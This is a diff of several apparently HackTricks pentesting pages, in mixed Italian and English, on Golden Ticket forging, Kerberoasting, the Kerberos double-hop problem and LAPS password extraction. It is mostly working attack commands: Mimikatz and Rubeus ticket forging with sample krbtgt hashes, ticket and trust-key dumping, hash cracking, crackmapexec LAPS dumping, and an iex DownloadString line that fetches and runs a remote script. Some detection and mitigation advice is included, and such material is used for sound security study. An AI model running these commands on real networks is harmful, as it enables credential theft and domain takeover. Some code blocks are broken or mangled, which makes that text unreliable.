Se un utente viene **migrato da una foresta a un'altra** e **il filtro SID non è abilitato**, diventa possibile **aggiungere un SID dall'altra foresta**, e questo **SID** sarà **aggiunto** al **token dell'utente** durante l'autenticazione **attraverso il trust**.
|
||||
|
||||
> [!WARNING]
|
||||
> Come promemoria, puoi ottenere la chiave di firma con
|
||||
>
|
||||
> ```powershell
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
|
||||
> ```
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Un attacco **Golden Ticket** consiste nella **creazione di un Ticket Granting Ticket (TGT) legittimo impersonando qualsiasi utente** attraverso l'uso dell'**hash NTLM dell'account krbtgt di Active Directory (AD)**. Questa tecnica è particolarmente vantaggiosa perché **consente l'accesso a qualsiasi servizio o macchina** all'interno del dominio come utente impersonato. È fondamentale ricordare che le **credenziali dell'account krbtgt non vengono mai aggiornate automaticamente**.
|
||||
|
||||
Per **acquisire l'hash NTLM** dell'account krbtgt, possono essere impiegati vari metodi. Può essere estratto dal **processo Local Security Authority Subsystem Service (LSASS)** o dal **file NT Directory Services (NTDS.dit)** situato su qualsiasi Domain Controller (DC) all'interno del dominio. Inoltre, **eseguire un attacco DCsync** è un'altra strategia per ottenere questo hash NTLM, che può essere eseguita utilizzando strumenti come il **modulo lsadump::dcsync** in Mimikatz o lo **script secretsdump.py** di Impacket. È importante sottolineare che per intraprendere queste operazioni, **sono tipicamente richiesti privilegi di amministratore di dominio o un livello di accesso simile**.
|
||||
Per **acquisire l'hash NTLM** dell'account krbtgt, possono essere impiegati vari metodi. Può essere estratto dal **processo Local Security Authority Subsystem Service (LSASS)** o dal **file NT Directory Services (NTDS.dit)** situato su qualsiasi Domain Controller (DC) all'interno del dominio. Inoltre, **eseguire un attacco DCsync** è un'altra strategia per ottenere questo hash NTLM, che può essere effettuata utilizzando strumenti come il **modulo lsadump::dcsync** in Mimikatz o lo **script secretsdump.py** di Impacket. È importante sottolineare che per intraprendere queste operazioni, **sono tipicamente richiesti privilegi di amministratore di dominio o un livello di accesso simile**.
|
||||
|
||||
Sebbene l'hash NTLM serva come metodo valido per questo scopo, è **fortemente raccomandato** di **forgiare ticket utilizzando le chiavi Kerberos Advanced Encryption Standard (AES) (AES128 e AES256)** per motivi di sicurezza operativa.
|
||||
```bash:From Linux
|
||||
@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
|
||||
```
|
||||
|
||||
```bash:From Windows
|
||||
# Rubeus
|
||||
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
|
||||
## The /printcmd option will print the complete command if later you want to generate a token offline
|
||||
.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
|
||||
|
||||
/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
|
||||
#mimikatz
|
||||
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
|
||||
.\Rubeus.exe ptt /ticket:ticket.kirbi
|
||||
@ -24,7 +30,7 @@ klist #List tickets in memory
|
||||
# Example using aes key
|
||||
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
|
||||
```
|
||||
**Una volta** che hai **iniettato il Golden Ticket**, puoi accedere ai file condivisi **(C$)** ed eseguire servizi e WMI, quindi puoi utilizzare **psexec** o **wmiexec** per ottenere una shell (sembra che non puoi ottenere una shell tramite winrm).
|
||||
**Una volta** che hai **iniettato il Golden Ticket**, puoi accedere ai file condivisi **(C$)** ed eseguire servizi e WMI, quindi potresti usare **psexec** o **wmiexec** per ottenere una shell (sembra che non puoi ottenere una shell tramite winrm).
|
||||
|
||||
### Bypassare le rilevazioni comuni
|
||||
|
||||
@ -32,13 +38,13 @@ I modi più frequenti per rilevare un golden ticket sono **ispezionando il traff
|
||||
|
||||
`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
|
||||
|
||||
Utilizza i parametri `/startoffset`, `/endin` e `/renewmax` per controllare l'offset di inizio, la durata e il numero massimo di rinnovi (tutti in minuti).
|
||||
Usa i parametri `/startoffset`, `/endin` e `/renewmax` per controllare l'offset di inizio, la durata e il numero massimo di rinnovi (tutti in minuti).
|
||||
```
|
||||
Get-DomainPolicy | select -expand KerberosPolicy
|
||||
```
|
||||
Sfortunatamente, la durata del TGT non è registrata nei 4769, quindi non troverai queste informazioni nei registri eventi di Windows. Tuttavia, ciò che puoi correlare è **vedere i 4769 senza un precedente 4768**. È **impossibile richiedere un TGS senza un TGT**, e se non c'è traccia di un TGT emesso, possiamo dedurre che è stato falsificato offline.
|
||||
|
||||
Per **bypassare questo controllo di rilevamento**, controlla i diamond tickets:
|
||||
Per **bypassare questo controllo di rilevamento** controlla i diamond tickets:
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -50,7 +56,7 @@ diamond-ticket.md
|
||||
- 4672: Accesso come amministratore
|
||||
- `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property`
|
||||
|
||||
Altri piccoli trucchi che i difensori possono fare è **allertare sui 4769 per utenti sensibili** come l'account amministratore di dominio predefinito.
|
||||
Altri piccoli trucchi che i difensori possono fare è **allertare sui 4769 per utenti sensibili** come l'account amministratore del dominio predefinito.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
@ -19,132 +19,154 @@ Per eseguire **Kerberoasting**, è essenziale un account di dominio in grado di
|
||||
|
||||
> [!WARNING]
|
||||
> Gli **strumenti di Kerberoasting** richiedono tipicamente **`RC4 encryption`** quando eseguono l'attacco e iniziano le richieste TGS-REQ. Questo perché **RC4 è** [**più debole**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) e più facile da crackare offline utilizzando strumenti come Hashcat rispetto ad altri algoritmi di crittografia come AES-128 e AES-256.\
|
||||
> Gli hash RC4 (tipo 23) iniziano con **`$krb5tgs$23$*`** mentre gli AES-256 (tipo 18) iniziano con **`$krb5tgs$18$*`**.`
|
||||
> Gli hash RC4 (tipo 23) iniziano con **`$krb5tgs$23$*`** mentre gli AES-256 (tipo 18) iniziano con **`$krb5tgs$18$*`**.`
|
||||
> Inoltre, fai attenzione perché `Rubeus.exe kerberoast` richiede ticket automaticamente su TUTTI gli account vulnerabili, il che ti farà rilevare. Prima, trova utenti kerberoastable con privilegi interessanti e poi eseguilo solo su di loro.
|
||||
```bash
|
||||
|
||||
#### **Linux**
|
||||
|
||||
```bash
|
||||
# Metasploit framework
|
||||
msf> use auxiliary/gather/get_user_spns
|
||||
# Impacket
|
||||
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
|
||||
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Verrà richiesta la password
|
||||
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
|
||||
# kerberoast: https://github.com/skelsec/kerberoast
|
||||
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
|
||||
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
|
||||
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerare gli utenti kerberoastable
|
||||
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump degli hash
|
||||
```
|
||||
Strumenti multi-funzionali che includono un dump di utenti kerberoastable:
|
||||
|
||||
Multi-features tools including a dump of kerberoastable users:
|
||||
|
||||
```bash
|
||||
# ADenum: https://github.com/SecuProject/ADenum
|
||||
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
|
||||
adenum -d <DOMINIO.COMPLETO> -ip <DC_IP> -u <NOME_UTENTE> -p <PASSWORD> -c
|
||||
```
|
||||
|
||||
#### Windows
|
||||
|
||||
- **Enumerare gli utenti Kerberoastable**
|
||||
```powershell
|
||||
# Get Kerberoastable users
|
||||
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
|
||||
- **Enumerate Kerberoastable users**
|
||||
|
||||
```bash
|
||||
# Ottieni utenti Kerberoastable
|
||||
setspn.exe -Q */* #Questo è un binario integrato. Concentrati sugli account utente
|
||||
Get-NetUser -SPN | select serviceprincipalname #Powerview
|
||||
.\Rubeus.exe kerberoast /stats
|
||||
```
|
||||
- **Tecnica 1: Richiedi TGS e dumpalo dalla memoria**
|
||||
```powershell
|
||||
#Get TGS in memory from a single user
|
||||
Add-Type -AssemblyName System.IdentityModel
|
||||
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
|
||||
|
||||
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
|
||||
- **Technique 1: Ask for TGS and dump it from memory**
|
||||
|
||||
```bash
|
||||
#Ottieni TGS in memoria da un singolo utente
|
||||
Add-Type -AssemblyName System.IdentityModel
|
||||
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Esempio: MSSQLSvc/mgmt.domain.local
|
||||
|
||||
#Ottieni TGS per TUTTI gli account kerberoastable (PC inclusi, non molto intelligente)
|
||||
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
|
||||
|
||||
#List kerberos tickets in memory
|
||||
#Elenca i biglietti kerberos in memoria
|
||||
klist
|
||||
|
||||
# Extract them from memory
|
||||
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
|
||||
# Estraili dalla memoria
|
||||
Invoke-Mimikatz -Command '"kerberos::list /export"' #Esporta i biglietti nella cartella corrente
|
||||
|
||||
# Transform kirbi ticket to john
|
||||
# Trasforma il biglietto kirbi in john
|
||||
python2.7 kirbi2john.py sqldev.kirbi
|
||||
# Transform john to hashcat
|
||||
# Trasforma john in hashcat
|
||||
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
|
||||
```
|
||||
- **Tecnica 2: Strumenti automatici**
|
||||
|
||||
- **Technique 2: Automatic tools**
|
||||
|
||||
```bash
|
||||
# Powerview: Get Kerberoast hash of a user
|
||||
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
|
||||
# Powerview: Get all Kerberoast hashes
|
||||
# Powerview: Ottieni l'hash Kerberoast di un utente
|
||||
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Utilizzando PowerView Es: MSSQLSvc/mgmt.domain.local
|
||||
# Powerview: Ottieni tutti gli hash Kerberoast
|
||||
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
|
||||
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
|
||||
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
|
||||
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Utente specifico
|
||||
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Ottieni gli amministratori
|
||||
|
||||
# Invoke-Kerberoast
|
||||
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
|
||||
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Quando viene richiesta una TGS, viene generato l'evento di Windows `4769 - È stato richiesto un ticket di servizio Kerberos`.
|
||||
> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
|
||||
|
||||
### Cracking
|
||||
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
||||
```
|
||||
### Persistenza
|
||||
|
||||
Se hai **sufficienti permessi** su un utente, puoi **renderlo kerberoastable**:
|
||||
### Persistence
|
||||
|
||||
If you have **enough permissions** over a user you can **make it kerberoastable**:
|
||||
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
|
||||
```
|
||||
Puoi trovare utili **tools** per attacchi di **kerberoast** qui: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
|
||||
|
||||
Se trovi questo **error** da Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** è a causa del tuo orario locale, devi sincronizzare l'host con il DC. Ci sono alcune opzioni:
|
||||
You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
|
||||
|
||||
- `ntpdate <IP del DC>` - Deprecato a partire da Ubuntu 16.04
|
||||
- `rdate -n <IP del DC>`
|
||||
If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
|
||||
|
||||
### Mitigazione
|
||||
- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
|
||||
- `rdate -n <IP of DC>`
|
||||
|
||||
Il kerberoasting può essere condotto con un alto grado di furtività se è sfruttabile. Per rilevare questa attività, è necessario prestare attenzione a **Security Event ID 4769**, che indica che un biglietto Kerberos è stato richiesto. Tuttavia, a causa dell'alta frequenza di questo evento, devono essere applicati filtri specifici per isolare attività sospette:
|
||||
### Mitigation
|
||||
|
||||
Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
|
||||
|
||||
- The service name should not be **krbtgt**, as this is a normal request.
|
||||
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
|
||||
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
|
||||
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
|
||||
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
|
||||
|
||||
- Il nome del servizio non dovrebbe essere **krbtgt**, poiché si tratta di una richiesta normale.
|
||||
- I nomi dei servizi che terminano con **$** dovrebbero essere esclusi per evitare di includere account macchina utilizzati per i servizi.
|
||||
- Le richieste provenienti da macchine dovrebbero essere filtrate escludendo i nomi degli account formattati come **machine@domain**.
|
||||
- Solo le richieste di biglietti riuscite dovrebbero essere considerate, identificate da un codice di errore di **'0x0'**.
|
||||
- **Soprattutto**, il tipo di crittografia del biglietto dovrebbe essere **0x17**, che è spesso utilizzato negli attacchi di Kerberoasting.
|
||||
```bash
|
||||
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
|
||||
```
|
||||
Per mitigare il rischio di Kerberoasting:
|
||||
|
||||
- Assicurati che **le password degli account di servizio siano difficili da indovinare**, raccomandando una lunghezza di oltre **25 caratteri**.
|
||||
- Utilizza **Managed Service Accounts**, che offrono vantaggi come **cambi automatici delle password** e **gestione delegata del Service Principal Name (SPN)**, migliorando la sicurezza contro tali attacchi.
|
||||
To mitigate the risk of Kerberoasting:
|
||||
|
||||
Implementando queste misure, le organizzazioni possono ridurre significativamente il rischio associato al Kerberoasting.
|
||||
- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
|
||||
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
|
||||
|
||||
## Kerberoast senza account di dominio
|
||||
By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
|
||||
|
||||
Nel **settembre 2022**, un nuovo modo di sfruttare un sistema è stato portato alla luce da un ricercatore di nome Charlie Clark, condiviso attraverso la sua piattaforma [exploit.ph](https://exploit.ph/). Questo metodo consente l'acquisizione di **Service Tickets (ST)** tramite una richiesta **KRB_AS_REQ**, che notevolmente non richiede il controllo su alcun account di Active Directory. Fondamentalmente, se un principale è configurato in modo tale da non richiedere la pre-autenticazione—uno scenario simile a quello noto nel campo della cybersecurity come un **attacco AS-REP Roasting**—questa caratteristica può essere sfruttata per manipolare il processo di richiesta. Specificamente, alterando l'attributo **sname** all'interno del corpo della richiesta, il sistema viene ingannato a emettere un **ST** piuttosto che il consueto Ticket Granting Ticket (TGT) crittografato.
|
||||
## Kerberoast w/o domain account
|
||||
|
||||
La tecnica è spiegata completamente in questo articolo: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
|
||||
In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
|
||||
|
||||
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
|
||||
|
||||
> [!WARNING]
|
||||
> Devi fornire un elenco di utenti perché non abbiamo un account valido per interrogare l'LDAP utilizzando questa tecnica.
|
||||
> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
|
||||
|
||||
#### Linux
|
||||
|
||||
- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
|
||||
|
||||
```bash
|
||||
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
|
||||
```
|
||||
|
||||
#### Windows
|
||||
|
||||
- [GhostPack/Rubeus da PR #139](https://github.com/GhostPack/Rubeus/pull/139):
|
||||
- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
|
||||
|
||||
```bash
|
||||
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)
|
||||
|
||||
@ -1,11 +1,11 @@
|
||||
# Problema del Kerberos Double Hop
|
||||
# Kerberos Double Hop Problem
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Introduzione
|
||||
|
||||
Il problema del "Double Hop" di Kerberos si presenta quando un attaccante tenta di utilizzare **l'autenticazione Kerberos attraverso due** **hop**, ad esempio utilizzando **PowerShell**/**WinRM**.
|
||||
Il problema del "Double Hop" di Kerberos si presenta quando un attaccante tenta di utilizzare **l'autenticazione Kerberos attraverso due** **hops**, ad esempio utilizzando **PowerShell**/**WinRM**.
|
||||
|
||||
Quando si verifica un'**autenticazione** tramite **Kerberos**, le **credenziali** **non** vengono memorizzate in **memoria.** Pertanto, se esegui mimikatz **non troverai le credenziali** dell'utente nella macchina anche se sta eseguendo processi.
|
||||
|
||||
@ -14,11 +14,11 @@ Questo perché, quando ci si connette con Kerberos, questi sono i passaggi:
|
||||
1. User1 fornisce le credenziali e il **domain controller** restituisce un **TGT** Kerberos a User1.
|
||||
2. User1 utilizza il **TGT** per richiedere un **service ticket** per **connettersi** a Server1.
|
||||
3. User1 **si connette** a **Server1** e fornisce il **service ticket**.
|
||||
4. **Server1** **non** ha le **credenziali** di User1 memorizzate o il **TGT** di User1. Pertanto, quando User1 da Server1 cerca di accedere a un secondo server, non è **in grado di autenticarsi**.
|
||||
4. **Server1** **non** ha le **credenziali** di User1 memorizzate o il **TGT** di User1. Pertanto, quando User1 da Server1 cerca di accedere a un secondo server, **non riesce ad autenticarsi**.
|
||||
|
||||
### Delegazione Non Vincolata
|
||||
|
||||
Se la **delegazione non vincolata** è abilitata nel PC, questo non accadrà poiché il **Server** otterrà un **TGT** di ogni utente che vi accede. Inoltre, se viene utilizzata la delegazione non vincolata, probabilmente puoi **compromettere il Domain Controller** da esso.\
|
||||
Se la **delegazione non vincolata** è abilitata nel PC, questo non accadrà poiché il **Server** **otterrà** un **TGT** di ogni utente che vi accede. Inoltre, se viene utilizzata la delegazione non vincolata, probabilmente puoi **compromettere il Domain Controller** da esso.\
|
||||
[**Ulteriori informazioni nella pagina sulla delegazione non vincolata**](unconstrained-delegation.md).
|
||||
|
||||
### CredSSP
|
||||
@ -28,7 +28,7 @@ Un altro modo per evitare questo problema, che è [**notevolmente insicuro**](ht
|
||||
> L'autenticazione CredSSP delega le credenziali dell'utente dal computer locale a un computer remoto. Questa pratica aumenta il rischio di sicurezza dell'operazione remota. Se il computer remoto viene compromesso, quando le credenziali vengono passate a esso, le credenziali possono essere utilizzate per controllare la sessione di rete.
|
||||
|
||||
Si raccomanda vivamente di disabilitare **CredSSP** sui sistemi di produzione, reti sensibili e ambienti simili a causa di preoccupazioni di sicurezza. Per determinare se **CredSSP** è abilitato, è possibile eseguire il comando `Get-WSManCredSSP`. Questo comando consente di **verificare lo stato di CredSSP** e può anche essere eseguito in remoto, a condizione che **WinRM** sia abilitato.
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
}
|
||||
@ -37,8 +37,8 @@ Get-WSManCredSSP
|
||||
|
||||
### Invoke Command
|
||||
|
||||
Per affrontare il problema del doppio salto, viene presentato un metodo che coinvolge un `Invoke-Command` annidato. Questo non risolve direttamente il problema, ma offre una soluzione alternativa senza necessitare di configurazioni speciali. L'approccio consente di eseguire un comando (`hostname`) su un server secondario tramite un comando PowerShell eseguito da una macchina di attacco iniziale o attraverso una PS-Session precedentemente stabilita con il primo server. Ecco come si fa:
|
||||
```powershell
|
||||
Per affrontare il problema del double hop, viene presentato un metodo che coinvolge un `Invoke-Command` annidato. Questo non risolve direttamente il problema, ma offre una soluzione alternativa senza necessitare di configurazioni speciali. L'approccio consente di eseguire un comando (`hostname`) su un server secondario tramite un comando PowerShell eseguito da una macchina di attacco iniziale o attraverso una PS-Session precedentemente stabilita con il primo server. Ecco come si fa:
|
||||
```bash
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
@ -49,7 +49,7 @@ In alternativa, si suggerisce di stabilire una PS-Session con il primo server ed
|
||||
### Registrare la Configurazione PSSession
|
||||
|
||||
Una soluzione per bypassare il problema del doppio salto prevede l'uso di `Register-PSSessionConfiguration` con `Enter-PSSession`. Questo metodo richiede un approccio diverso rispetto a `evil-winrm` e consente una sessione che non soffre della limitazione del doppio salto.
|
||||
```powershell
|
||||
```bash
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
||||
@ -74,7 +74,7 @@ L'installazione di OpenSSH sul primo server consente una soluzione per il proble
|
||||
|
||||
#### Passaggi per l'installazione di OpenSSH
|
||||
|
||||
1. Scarica e sposta l'ultima versione di OpenSSH in formato zip sul server di destinazione.
|
||||
1. Scarica e sposta l'ultima versione zip di OpenSSH sul server di destinazione.
|
||||
2. Decomprimi ed esegui lo script `Install-sshd.ps1`.
|
||||
3. Aggiungi una regola del firewall per aprire la porta 22 e verifica che i servizi SSH siano in esecuzione.
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
|
||||
Local Administrator Password Solution (LAPS) è uno strumento utilizzato per gestire un sistema in cui le **password degli amministratori**, che sono **uniche, casuali e frequentemente cambiate**, vengono applicate ai computer uniti al dominio. Queste password sono memorizzate in modo sicuro all'interno di Active Directory e sono accessibili solo agli utenti a cui è stato concesso il permesso tramite le Liste di Controllo degli Accessi (ACL). La sicurezza delle trasmissioni delle password dal client al server è garantita dall'uso di **Kerberos versione 5** e **Advanced Encryption Standard (AES)**.
|
||||
|
||||
Nagli oggetti computer del dominio, l'implementazione di LAPS comporta l'aggiunta di due nuovi attributi: **`ms-mcs-AdmPwd`** e **`ms-mcs-AdmPwdExpirationTime`**. Questi attributi memorizzano rispettivamente la **password dell'amministratore in chiaro** e **il suo tempo di scadenza**.
|
||||
Negli oggetti computer del dominio, l'implementazione di LAPS comporta l'aggiunta di due nuovi attributi: **`ms-mcs-AdmPwd`** e **`ms-mcs-AdmPwdExpirationTime`**. Questi attributi memorizzano rispettivamente la **password dell'amministratore in chiaro** e **il suo tempo di scadenza**.
|
||||
|
||||
### Controlla se attivato
|
||||
```bash
|
||||
@ -27,7 +27,7 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
|
||||
Puoi **scaricare la policy LAPS grezza** da `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` e poi utilizzare **`Parse-PolFile`** dal pacchetto [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) per convertire questo file in un formato leggibile dall'uomo.
|
||||
|
||||
Inoltre, i **cmdlet PowerShell nativi di LAPS** possono essere utilizzati se sono installati su una macchina a cui abbiamo accesso:
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command *AdmPwd*
|
||||
|
||||
CommandType Name Version Source
|
||||
@ -48,7 +48,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
```
|
||||
**PowerView** può essere utilizzato anche per scoprire **chi può leggere la password e leggerla**:
|
||||
```powershell
|
||||
```bash
|
||||
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
|
||||
@ -60,7 +60,7 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
||||
Il [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilita l'enumerazione di LAPS con diverse funzioni.\
|
||||
Una consiste nel parsing di **`ExtendedRights`** per **tutti i computer con LAPS abilitato.** Questo mostrerà **gruppi** specificamente **delegati a leggere le password LAPS**, che sono spesso utenti in gruppi protetti.\
|
||||
Un **account** che ha **unito un computer** a un dominio riceve `All Extended Rights` su quell'host, e questo diritto conferisce all'**account** la capacità di **leggere le password**. L'enumerazione può mostrare un account utente che può leggere la password LAPS su un host. Questo può aiutarci a **mirare a utenti AD specifici** che possono leggere le password LAPS.
|
||||
```powershell
|
||||
```bash
|
||||
# Get groups that can read passwords
|
||||
Find-LAPSDelegatedGroups
|
||||
|
||||
@ -89,7 +89,7 @@ Se non c'è accesso a PowerShell, puoi abusare di questo privilegio da remoto tr
|
||||
```
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||
```
|
||||
Questo estrarrà tutte le password che l'utente può leggere, permettendoti di ottenere una migliore posizione con un utente diverso.
|
||||
Questo estrarrà tutte le password che l'utente può leggere, permettendoti di ottenere una migliore posizione con un altro utente.
|
||||
|
||||
## ** Utilizzando la Password LAPS **
|
||||
```
|
||||
@ -104,7 +104,7 @@ Password: 2Z@Ae)7!{9#Cq
|
